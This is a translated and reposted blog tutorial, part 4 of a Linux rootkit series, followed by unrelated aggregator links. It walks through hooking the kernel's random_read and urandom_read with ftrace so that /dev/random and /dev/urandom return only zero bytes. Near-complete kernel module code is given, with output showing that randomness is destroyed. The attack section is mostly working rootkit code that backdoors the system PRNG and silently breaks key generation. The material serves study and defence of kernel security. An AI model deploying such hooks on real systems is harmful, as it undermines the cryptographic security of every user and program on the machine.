4通过干扰 Char 设备为 PRNG 添加后门_Linux_Rootkit.md

Xcellerator

密码学Linux其他逆向工程

文章目录

  • [Linux Rootkit 第 4 部分:通过干扰 Char 设备为 PRNG 添加后门](https://xcellerator.github.io/posts/linux_rootkits_04/)
  • Linux 中的字符设备
  • 字符设备的读取例程
  • 编写 Rootkit
  • 我们能去哪里呢?

Linux Rootkit 第 4 部分:通过干扰 Char 设备为 PRNG 添加后门

2020-09-09 :: TheXcellerator

# linux # rootkit # char #设备 #随机 # urandom

我们在第 3 部分中看到,向系统调用添加一些额外功能是多么容易。这次我们将针对一对不是系统调用且不能直接调用的内核函数。要了解它们是什么,有必要先讨论一下字符设备。

Linux 中的字符设备

尽管您可能不认识该名称,但您可能已经非常熟悉一堆char(或char aacter)设备。他们通常生活在下面/dev/,他们的源代码可以在 中找到drivers/char。也许最常见的是randomurandom这两个是我们稍后将针对的目标。

本质上,字符设备是内核的一些功能,将其作为文件公开给用户是有意义random对于诸如和 之类的东西尤其清楚urandom- 如果我们希望内核给我们一些随机字节,那么我们只需从其中任何一个读取(通常使用dd)。

$ dd if=/dev/random bs=1 count=32 | xxd
00000000: a1ec bdbd 638c dabd 4c04 e018 9cc0 0993  ....c...L.......
00000010: 50e1 b686 8997 3572 c0ec d05c d799 9103  P.....5r...\....
32+0 records in
32+0 records out
32 bytes copied, 0.000535243 s, 59.8 kB/s

复制

不要误以为这是一个真实的文件!如果您将硬盘驱动器安装在另一台计算机上,您将找不到任何这些字符设备。看看,我们random看到file

$ file /dev/random
/dev/random: character special (1/8)

复制

这强化了这样一个事实:我们不是在处理实际的文件 - 即使它们的行为与它们相似!

/dev/random和之间的区别/dev/urandom实际上相当微妙。最终,这一切都取决于系统的可用——您可以将其视为随机性的度量。两个 char 设备都从相同的 CSPRNG(加密安全伪随机数生成器)获取熵,但不同之处在于,/dev/random如果熵用完,它将停止生成字节 - 这一过程称为阻塞,而/dev/urandom使用一些技巧来不断地为内部种子播种状态以便无限期地继续生成字节。从技术上讲/dev/random是更安全的选择,但实际上它并不可靠,/dev/urandom而且容易产生竞争条件。还值得注意的是,系统调用默认sys_getrandom()读取/dev/urandom,我们稍后会看到。

那么,当我们尝试读取或写入字符设备时,内核如何决定做什么呢?如果您猜到它使用结构体,那么您猜对了!每个字符设备都有一个file_operations分配给它的结构(这基本上构成了它的定义)。该结构体包含一个.read.write字段等,其中包含指向函数的点!

.read就这么简单 - 当我们尝试从字符设备读取时,我们执行相应结构的字段指向的函数file_operations

我们真的应该首先了解一下读取是如何完成的——特别是如果我们想介入这些读取并干扰它们的话!查找sys_readLinux Syscall Reference告诉我们它需要 3 个参数:文件描述符、缓冲区和要读取的字节数。这三件事值得仔细研究。

  • 文件描述符只是分配给某个文件的一个数字。如果我们在用户空间中编程,我们首先需要使用sys_open系统调用,该系统调用将文件名作为其参数之一并返回文件描述符。由于我们将在内核中工作,因此我们实际上不必担心这一点,因为在调用时文件描述符已经被分配给/dev/random或。/dev/urandom``sys_read
  • 缓冲区是更有趣的部分,也是我们稍后需要关心的部分。应该发生的情况是,用户应该在内存中的某处分配一个空缓冲区,然后给出sys_read指向该缓冲区的指针。然后内核将从分配给该缓冲区的任何文件描述符中读取数据。
  • 最后,要读取的字节数就是 - 应该从文件描述符指向的事物中读取多少字节。当执行读取时,我们会自动向前查找读取的字节数。虽然这对于 char 设备来说并不重要,但在处理涉及sys_read.

sys_read(into )返回的值eax是成功读取的字节数。让我重复一遍:返回的唯一内容sys_read是读取的字节数。如果您来自解释语言(如 Python)的世界,那么这可能会让您感到惊讶。我们必须提供sys_read一个缓冲区来存储它为我们读取的数据。

另一件需要指出的重要事情是,它sys_read不知道它正在读取什么 - 它所拥有的只是一个文件描述符!如果我们想操纵对系统调用的读取randomurandom使用系统调用,我们必须同时挂钩sys_readsys_open。然后我们必须等待某些东西尝试打开任何一个字符设备,记录它返回到某处的文件描述符并等待从中*读取某些内容。*事实上,我们还必须挂钩sys_close,以便我们知道何时停止监视文件描述符!听起来很复杂,对吧?幸运的是,我们不仅可以挂钩系统调用!

字符设备的读取例程

让我们看一下drivers/char/random.c哪里有以下两个片段:

const struct file_operations random_fops = {
    .read = random_read,
    .write = random_write,
    /* trimmed for clarity */
};

const struct file_operations urandom_fops = {
    .read = urandom_read,
    .write = urandom_write,
    /* trimmed for clarity */
};

复制

这告诉我们,每当有东西试图从/dev/randomor读取时/dev/urandom,函数random_read()orurandom_read()就会分别被调用。看一下其中一个函数,我们发现:

static ssize_t
random_read(struct file *file, char __user *buf, size_t nbytes, loff_t *ppos)
{
    int ret;
    
    ret = wait_for_random_bytes();
    if (ret != 0)
        return ret;
    return urandom_read_nowarn(file, buf, nbytes, ppos);
}

复制

这看起来和我们可以钩住的东西一模一样!

这个函数的内部结构相当不重要,因为我们最终的钩子无论如何都会通过完整调用这个函数来开始。重要是函数的定义方式,因为我们需要在 rootkit 中模拟它。请注意,第二个和第三个参数是缓冲区大小sys_read()- 这些是我们之前讨论的传递的参数!还要注意__user标识符 - 稍后这将非常重要。

编写 Rootkit

我们将挂钩两者random_read()urandom_read()这将允许我们在返回用户空间之前对包含读取数据的缓冲区进行更改。

每当我们想要用 ftrace 挂钩一个函数时,我们需要检查符号名称是否由内核导出。所有系统调用都是如此,但是由于我们的目标都不在系统调用表中,因此我们最好手动检查。正如之前的帖子中提到的,这是通过查看以下内容来完成的/proc/kallsyms

$ sudo cat /proc/kallsyms | grep random_read
/* redacted for clarity */
ffffffff84c934a0 t random_read
ffffffff84c934d0 t urandom_read

复制

好的,一切都好。我们现在需要做的第一件事是为原始副本提供正确的函数声明:

static asmlinkage ssize_t (*orig_random_read)(struct file *file, char __user *buf, size_t nbytes, loff_t *ppos);
static asmlinkage ssize_t (*orig_urandom_read)(struct file *file, char __user *buf, size_t nbytes, loff_t *ppos);

复制

现在我们开始编写实际的钩子。我只会通过 for 的钩子,random_read()因为它与for相同urandom_read(),只是我们额外插入u了一个。当我们完成它时,您就会明白为什么会出现这种情况。

还记得sys_read()返回成功读取的字节数吗?嗯,random_read()做同样的事情!我们的钩子所做的第一件事就是orig_random_read()使用它提供的所有参数进行调用。粗略地说,我们有:

static asmlinkage ssize_t hook_random_read(struct file *file, char __user *buf, size_t nbytes, loff_t *ppos)
{
    int bytes_read;

    bytes_read = orig_random_read(file, buf, nytes, ppos);
    printk(KERN_DEBUG "rootkit: intercepted read to /dev/random: %d bytes\n", bytes_read);

    /* do something to buf */

    return bytes_read;
}

复制

如果您停在这里并充实 Rootkit 的其余部分(ftrace、include 等),那么您将获得一个工作内核模块,dmesg每次我们尝试从/dev/random. 这个模块的真正大脑是我们buf在返回用户空间之前所做的事情。

为简单起见,我们将用 填充缓冲区0x00。不幸的是(或者幸运的是,取决于你如何看待它),这并不像听起来那么容易。部分原因是由于__user缓冲区标识符的存在。这提醒内核(和我们!)buf指向用户空间虚拟内存中的地址。我们不知道这个虚拟地址在物理上映射到哪里,因此尝试执行读取或写入操作可能会导致段错误。

这个问题的解决方案是使用copy_from_user()copy_to_user()函数,它允许我们在用户空间和内核空间的数组之间复制数据。对于这个模块,我们实际上只需要copy_to_user(),但无论如何我都会使用它们来向您展示它们是如何工作的。

首先,我们需要在内核空间中拥有一个自己的数组。如果您曾经使用过malloc()C 语言,那么您将会非常熟悉。我们使用函数kzalloc(),它有 2 个参数;一个尺寸和一些标志。然后它分配我们想要大小的内存区域并将地址返回给我们。当我们使用完这个缓冲区后,我们kfree()告诉内核我们不再需要该内存补丁。它看起来像这样:

char *kbuf = NULL;
int buf_size = 32;

kbuf = kzalloc(buf_size, GFP_KERNEL);
if(kbuf)
    printk(KERN_ERROR "could not allocate buffer\n");

/* do something with the shiny new buffer */

kfree(kbuf);

复制

很简单,对吧?该GFP_KERNEL标志表明该缓冲区将在内核内存中分配 - 您可以在此处阅读有关可能标志的更多信息。

所以,现在我们可以用来copy_from_user()获取从中“读取”的随机字节/dev/random(我们可以跳过这一步,因为我们实际上只需要将零填充的缓冲区复制回buf,但这对于以后的模块很有用看看这部分是如何工作的)。

long error;

error = copy_from_user(kbuf, buf, bytes_read);
if(error)
    printk(KERN_ERROR "failed to copy from user space: %d\n", error);

/* Fill kbuf with 0x00 */

error = copy_to_user(buf, kbuf, bytes_read);
if(error)
    printk(KERN_ERROR "failed to copy back to user space: %d\n", error);

复制

把它们放在一起,我们得到以下钩子:

static asmlinkage ssize_t hook_random_read(struct file *file, char __user *buf, size_t nbytes, loff_t *ppos)
{
    int bytes_read, i;
    long error;
    char *kbuf = NULL;

    /* Call the real random_read() */
    bytes_read = orig_random_read(file, buf, nbytes, ppos);

    /* Allocate a kernel buffer big enough to to hold everything */
    kbuf = kzalloc(bytes_read, GFP_KERNEL);
    
    /* Copy the random bytes from the userspace buf */
    error = copy_from_user(kbuf, buf, bytes_read);

    /* Check for any errors in copying */
    if(error)
    {
        printk(KERN_DEBUG "rootkit: %d bytes could not be copied into kbuf\n", error);
        kfree(kbuf);
        return bytes_read;
    }

    /* Fill kbuf with 0x00 */
    for ( i = 0 ; i < bytes_read ; i++ )
        kbuf[i] = 0x00;

    /* Copy the rigged buffer back to userspace */
    error = copy_to_user(buf, kbuf, bytes_read);
    if(error)
        printk(KERN_DEBUG "rootkit: %d bytes could not be copied back into buf\n", error);

    /* Free the buffer before returning */
    kfree(kbuf);
    return bytes_read;
}

复制

正如您所看到的,这里没有任何特定的内容/dev/random,因此该函数也完全相同hook_urandom_read()(以及您想要干扰的任何其他字符设备!)。

将整个过程与 ftrace 代码(完整的、可工作的源代码可以在存储库中找到)放在一起,我们就可以开始构建和测试了!

请注意,我们不必担心pt_regs结构的整个加倍业务,例如第 3 部分sys_kill中的钩子。这是因为我们没有在此 rootkit 中挂钩系统调用 - 内核调用常规函数的方式是明确的!

好的,如果我们继续 and makeinsmod rootkit.ko等,我们可以看到当我们尝试读取/dev/randomor时会发生什么/dev/urandom

$ dd if=/dev/random bs=1 count=32 | xxd
00000000: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000010: 0000 0000 0000 0000 0000 0000 0000 0000  ................
32+0 records in
32+0 records out
32 bytes copied, 0.0157476 s, 2.0 kB/s

复制

呼呼呼!不再有随机字节给您!我在存储库上也截取了这个屏幕截图,因为我只是觉得这太酷了!

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们能去哪里呢?

显然,无法获取任何随机字节会严重破坏系统的密码安全性。用户空间中的程序与这些字符设备交互的最常见方式是sys_getrandom()系统调用。如前所述,此系统调用/dev/urandom默认使用(但/dev/random如果提供标志也可以使用GRND_RANDOM),因此 hook 特别具有非常广泛的影响。

让我们编写一个快速而简单的 Python 脚本来计算一些随机数:

#!/usr/bin/python3

import random

SAMPLE_SIZE = 1000

headcount = 0
coinflips = []

for i in range(SAMPLE_SIZE):
    newflip = random.randint(0,1)
    if ( newflip == 0 ):
        headcount += 1
    coinflips.append(newflip)

print("Heads: " + str(headcount))
print("Tails: " + str(SAMPLE_SIZE - headcount))

复制

让我们运行几次,看看会发生什么:

$ ./check.py
Heads: 515
Tails: 485
$ ./check.py
Heads: 515
Tails: 485
$ ./check.py
Heads: 515
Tails: 485

复制

我想你明白了…我们已经大大减少了可用的随机性(在这个特定的统计数据的情况下,我们已经将其减少到零!)。为了进行比较,让我们看看在卸载 rootkit 后再次运行该 Python 脚本会发生什么:

$ ./check.py
Heads: 483
Tails: 517
$ ./check.py
Heads: 496
Tails: 504
$ ./check.py
Heads: 508
Tails: 492

复制

随机性又回来了!

我们知道 Python 正在使用sys_getrandom()它来生成“硬币翻转”(我们可以通过使用 strace 或添加printf()hook_urandom_read()钩子的调用来检查)。值得注意的是,Python 通过仅使用sys_getrandom()其内部 RNG 的种子来减轻一些损害。这可以通过修改 Python 脚本以连续打印硬币翻转而不是仅打印一次来看出。如果我们这样做,我们会看到每次迭代时抛硬币的比例都会改变,但每次运行时都会给出相同的数字!如果您想亲自检查,请在加载和不加载 rootkit 的情况下尝试此操作。

我正在研究一个涉及 ssh-keygen 的更好的示例,但这必须等到另一个时间…

阅读其他帖子


←Linux Rootkit 第 5 部分:从用户空间隐藏内核模块Linux Rootkit 第 3 部分:Root 后门→

哈维菲利普斯 2020 - 伦敦, 英国:: panr制作的主题

该网站是闹鬼网络的一部分

<<< 随机 >>>

一部分](https://pixeldreams.tokyo/cgi-bin/webring.cgi)

<<< 随机 >>>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/370009.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

c#string方法对比

字符串的截取匹配操作在开发中非常常见&#xff0c;比如下面这个示例&#xff1a;我要匹配查找出来字符串数组中以“abc”开头的字符串并打印&#xff0c;我下面分别用了两种方式实现&#xff0c;代码如下&#xff1a; using System; namespace ConsoleApp23{ class Progra…

iOS应用提交上架的最新流程

摘要 本篇博客介绍了iOS应用程序上架的最新流程。包括上架基本需求资料、证书的创建和使用、测试设备的添加、描述文件的创建、打包、审核等步骤。 引言 在开发完iOS应用程序后&#xff0c;我们需要将其提交到App Store上架。然而&#xff0c;随着技术的不断发展&#xff0c;…

【数据结构】实现顺序表

大家好&#xff0c;我是苏貝&#xff0c;本篇博客带大家了解顺序表&#xff0c;如果你觉得我写的还不错的话&#xff0c;可以给我一个赞&#x1f44d;吗&#xff0c;感谢❤️ 目录 一.概念及结构二.接口实现2.1 创建顺序表结构体2.2 初始化顺序表2.3 销毁顺序表2.4 打印顺序表…

力扣面试150 只出现一次的数字Ⅱ 哈希 统计数位 DFA有穷自动机

Problem: 137. 只出现一次的数字 II 文章目录 思路&#x1f496; 哈希&#x1f496; 位数统计&#x1f496; DFA 状态机 思路 &#x1f468;‍&#x1f3eb; 参考 &#x1f496; 哈希 ⏰ 时间复杂度: O ( n ) O(n) O(n) &#x1f30e; 空间复杂度: O ( n ) O(n) O(n) cl…

从领域外到领域内:LLM在Text-to-SQL任务中的演进之路

导语 本文介绍了ODIS框架&#xff0c;这是一种新颖的Text-to-SQL方法&#xff0c;它结合了领域外示例和合成生成的领域内示例&#xff0c;以提升大型语言模型在In-context Learning中的性能。 标题&#xff1a;Selective Demonstrations for Cross-domain Text-to-SQL会议&am…

深度学习系列57: 清华大模型MiniCPM上手

MiniCPM 是面壁智能与清华大学自然语言处理实验室共同开源的系列端侧大模型&#xff0c;主体语言模型 MiniCPM-2B 仅有 24亿&#xff08;2.4B&#xff09;的非词嵌入参数量 1. 上手对比测试 mps比cpu大概快了9倍左右。 也可以在modelspore上测试&#xff1a;

XUbuntu22.04之如何创建、切换多个工作区(二百零九)

简介&#xff1a; CSDN博客专家&#xff0c;专注Android/Linux系统&#xff0c;分享多mic语音方案、音视频、编解码等技术&#xff0c;与大家一起成长&#xff01; 优质专栏&#xff1a;Audio工程师进阶系列【原创干货持续更新中……】&#x1f680; 优质专栏&#xff1a;多媒…

《最新出炉》系列初窥篇-Python+Playwright自动化测试-13-playwright操作iframe-下篇

1.简介 通过前边两篇的学习&#xff0c;想必大家已经对iframe有了一定的认识和了解&#xff0c;今天这一篇主要是对iframe做一个总结&#xff0c;主要从iframe的操作&#xff08;输入框、点击等等&#xff09;和定位两个方面进行总结。 2.iframe是什么&#xff1f; iframe 简…

【Simulink系列】——动态系统仿真 之 离散系统线性离散系统

一、离散系统定义 离散系统是指系统的输入与输出仅在离散的时间上取值&#xff0c;而且离散的时间具有相同的时间间隔。满足下列条件&#xff1a; ①系统&#xff08;的输入输出&#xff09;每隔固定时间间隔才更新一次。固定时间间隔称为采样时间。 ②系统的输出依赖当前的…

python+flask人口普查数据的应用研究及实现django

作为一款人口普查数据的应用研究及实现&#xff0c;面向的是大多数学者&#xff0c;软件的界面设计简洁清晰&#xff0c;用户可轻松掌握使用技巧。在调查之后&#xff0c;获得用户以下需求&#xff1a; &#xff08;1&#xff09;用户注册登录后&#xff0c;可进入系统解锁更多…

C语言第十八弹---指针(二)

✨个人主页&#xff1a; 熬夜学编程的小林 &#x1f497;系列专栏&#xff1a; 【C语言详解】 【数据结构详解】 指针 1、const修饰指针 1.1、const修饰变量 1.2、const修饰指针变量 2、指针运算 2.1、指针- 整数 2.2、指针-指针 2.3、指针的关系运算 3、野指针 3.1、…

【数据结构】----先来聊聊【排序】(先导片)

作为一名对技术充满热情的学习者&#xff0c;我一直以来都深刻地体会到知识的广度和深度。在这个不断演变的数字时代&#xff0c;我远非专家&#xff0c;而是一位不断追求进步的旅行者。通过这篇博客&#xff0c;我想分享我在某个领域的学习经验&#xff0c;与大家共同探讨、共…

Vite+Vue3使用Vue-i18n笔记

一、下载依赖 vue-i18n yarn add vue-i18n创建存放语言文件的目录 以及配置文件的配置 我是在src/lang 新建index.ts、cn.ts、en.ts以及test文件夹其中再分别新建cn.ts以及en.ts /lang/index.ts 用于导出vue-i18n需要的配置对象 import en from "./en.ts"; import…

C#验证字符串是否包含汉字:用正则表达式 vs 用ASCII码 vs 用汉字的 Unicode 编码

目录 一、使用的方法 1.使用正则表达式验证字符串 2.使用正则表达式验证字符 3.用ASCII码判断 4.用汉字的 Unicode 编码范围判断 二、实例 1.源码 2.生成效果 验证一个字符串是否是纯汉字或者包含有汉字的前提&#xff0c;是VS编辑器的默认编码格式设置为&#xff1a;选…

项目02《游戏-05-开发》Unity3D

基于 项目02《游戏-04-开发》Unity3D &#xff0c; 【任务】UI背包系统&#xff0c; 首先将Game窗口设置成1920 * 1080&#xff0c; 设置Canvas的缩放模式&#xff0c;&#xff1a;这样设置能让窗口在任意分辨率下都以一个正确的方式显示&#xff0c; 设置数值&…

Apollo

一. 部署说明 apollo配置中心由三个组件组成&#xff1a; ConfigService 配置中心&#xff0c;客户端从这个服务拉配置&#xff0c;同时内置了Eureka、MetaService。每个环境要有一个 AdminService 配置管理服务&#xff0c;管理数据库配置&#xff0c;Portal调这个服务修改、…

缓存的概念

文章目录 一、系统缓存buffer与cachecache 的保存位置cache 的特性 二、用户层缓存DNS缓存 三、浏览器缓存过期机制最后修改时间Etag标记过期时间 expires混合使用和缓存刷新缓存刷新 cookie和session 四、CDN缓存什么是CDN用户请求CDN流程利用 302 实现转发请求重定向至最优服…

引流技术-通过文件中增加联系方式并传播

文章目录 前言文档增加联系方式扩散网盘扩散自建网站借力 注意 前言 很多人在找资料的时候可能都遇到过下图情况&#xff1a; 1、文档最后面留一个自己的联系方式&#xff1b; 2、找的一堆文件中都有相同的情况&#xff1b; 3、一段时间全网搜到的很多相同文件也有这个联系方式…

Zookeeper分布式队列实战

目录 Zookeeper分布式队列 普通方式实现 设计思路 具体实现 使用Curator实现 具体实现 注意事项 Zookeeper分布式队列 常见的消息队列有:RabbitMQ&#xff0c;RocketMQ&#xff0c;Kafka等。Zookeeper作为一个分布式的小文件管理系统&#xff0c;同样能实现简单的队列功…

【LeetCode: 2670. 找出不同元素数目差数组 + 哈希表 + 前后缀处理】

&#x1f680; 算法题 &#x1f680; &#x1f332; 算法刷题专栏 | 面试必备算法 | 面试高频算法 &#x1f340; &#x1f332; 越难的东西,越要努力坚持&#xff0c;因为它具有很高的价值&#xff0c;算法就是这样✨ &#x1f332; 作者简介&#xff1a;硕风和炜&#xff0c;…